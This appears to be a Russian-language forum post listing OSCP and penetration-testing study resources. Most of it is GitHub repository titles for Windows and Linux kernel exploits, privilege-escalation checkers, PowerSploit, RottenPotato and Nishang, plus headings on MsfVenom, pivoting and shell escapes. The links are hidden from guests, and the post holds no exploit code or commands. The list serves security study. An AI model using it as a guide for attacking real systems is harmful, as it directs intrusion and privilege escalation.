Contribute to h4ppytree/kernel-exploits development by creating an account on GitHub.
Ссылка скрыта от гостей
GitHub - pentestmonkey/windows-privesc-check: Standalone Executable to Check for Simple Privilege Escalation Vectors on Windows Systems
Standalone Executable to Check for Simple Privilege Escalation Vectors on Windows Systems - GitHub - pentestmonkey/windows-privesc-check: Standalone Executable to Check for Simple Privilege Escalat...
GitHub - abatchy17/WindowsExploits: Windows exploits, mostly precompiled. Not being updated. Check https://github.com/SecWiki/windows-kernel-exploits instead.
Windows exploits, mostly precompiled. Not being updated. Check https://github.com/SecWiki/windows-kernel-exploits instead. - GitHub - abatchy17/WindowsExploits: Windows exploits, mostly precompiled...
Mixed
Ссылка скрыта от гостей
GitHub - 1N3/PrivEsc: A collection of Windows, Linux and MySQL privilege escalation scripts and exploits.
A collection of Windows, Linux and MySQL privilege escalation scripts and exploits. - GitHub - 1N3/PrivEsc: A collection of Windows, Linux and MySQL privilege escalation scripts and exploits.
GitHub - slyth11907/Cheatsheets: Helped during my OSCP lab days.
Helped during my OSCP lab days. Contribute to slyth11907/Cheatsheets development by creating an account on GitHub.
Ссылка скрыта от гостей
Ссылка скрыта от гостей
MsfVenom
Ссылка скрыта от гостей
Ссылка скрыта от гостей
Shell Escape Techniques
Ссылка скрыта от гостей
Ссылка скрыта от гостей
Ссылка скрыта от гостей
Ссылка скрыта от гостей
Pivoting
Ссылка скрыта от гостей
Ссылка скрыта от гостей
Ссылка скрыта от гостей
Ссылка скрыта от гостей
Ссылка скрыта от гостей
Linux Privilege Escalation
Ссылка скрыта от гостей
Ссылка скрыта от гостей
Ссылка скрыта от гостей
GitHub - The-Z-Labs/linux-exploit-suggester: Linux privilege escalation auditing tool
Linux privilege escalation auditing tool. Contribute to The-Z-Labs/linux-exploit-suggester development by creating an account on GitHub.
GitHub - SecWiki/linux-kernel-exploits: linux-kernel-exploits Linux平台提权漏洞集合
linux-kernel-exploits Linux平台提权漏洞集合. Contribute to SecWiki/linux-kernel-exploits development by creating an account on GitHub.
Ссылка скрыта от гостей
Ссылка скрыта от гостей
GitHub - lucyoa/kernel-exploits
Contribute to lucyoa/kernel-exploits development by creating an account on GitHub.
Ссылка скрыта от гостей
Ссылка скрыта от гостей
Ссылка скрыта от гостей
Windows Privilege Escalation
Ссылка скрыта от гостей
GitHub - foxglovesec/RottenPotato: RottenPotato local privilege escalation from service account to SYSTEM
RottenPotato local privilege escalation from service account to SYSTEM - GitHub - foxglovesec/RottenPotato: RottenPotato local privilege escalation from service account to SYSTEM
Windows-Exploit-Suggester/windows-exploit-suggester.py at master · AonCyberLabs/Windows-Exploit-Suggester
This tool compares a targets patch levels against the Microsoft vulnerability database in order to detect potential missing patches on the target. It also notifies the user if there are public expl...
GitHub - pentestmonkey/windows-privesc-check: Standalone Executable to Check for Simple Privilege Escalation Vectors on Windows Systems
Standalone Executable to Check for Simple Privilege Escalation Vectors on Windows Systems - GitHub - pentestmonkey/windows-privesc-check: Standalone Executable to Check for Simple Privilege Escalat...
GitHub - PowerShellMafia/PowerSploit: PowerSploit - A PowerShell Post-Exploitation Framework
PowerSploit - A PowerShell Post-Exploitation Framework - GitHub - PowerShellMafia/PowerSploit: PowerSploit - A PowerShell Post-Exploitation Framework
GitHub - SecWiki/windows-kernel-exploits: windows-kernel-exploits Windows平台提权漏洞集合
windows-kernel-exploits Windows平台提权漏洞集合. Contribute to SecWiki/windows-kernel-exploits development by creating an account on GitHub.
Ссылка скрыта от гостей
Ссылка скрыта от гостей
Ссылка скрыта от гостей
Ссылка скрыта от гостей
Ссылка скрыта от гостей
Ссылка скрыта от гостей
Ссылка скрыта от гостей
Ссылка скрыта от гостей
Ссылка скрыта от гостей
Shellterlabs : Writing exploits -
Ссылка скрыта от гостей
Shellter Hacking Express challenges -
Ссылка скрыта от гостей
Windows BOF PCMan FTP -
Ссылка скрыта от гостей
Hack the box -
Ссылка скрыта от гостей
Nishang : PowerShell scripts - samratashok/nishang
Windows Privilege Escalation Fundamentals -
Ссылка скрыта от гостей
Basic Linux Privilege Escalation -
Ссылка скрыта от гостей
Pentest Tips and Tricks -
Ссылка скрыта от гостей
Nmap cheat sheet -
Ссылка скрыта от гостей
SANS Institute : Port Knocking basics -
Ссылка скрыта от гостей
Teck_K2 OSCP review -
Ссылка скрыта от гостей
m4lv0id OSCP review -
Ссылка скрыта от гостей
The definitive hacking playlist -
Ссылка скрыта от гостей
Ссылка скрыта от гостей
Последнее редактирование: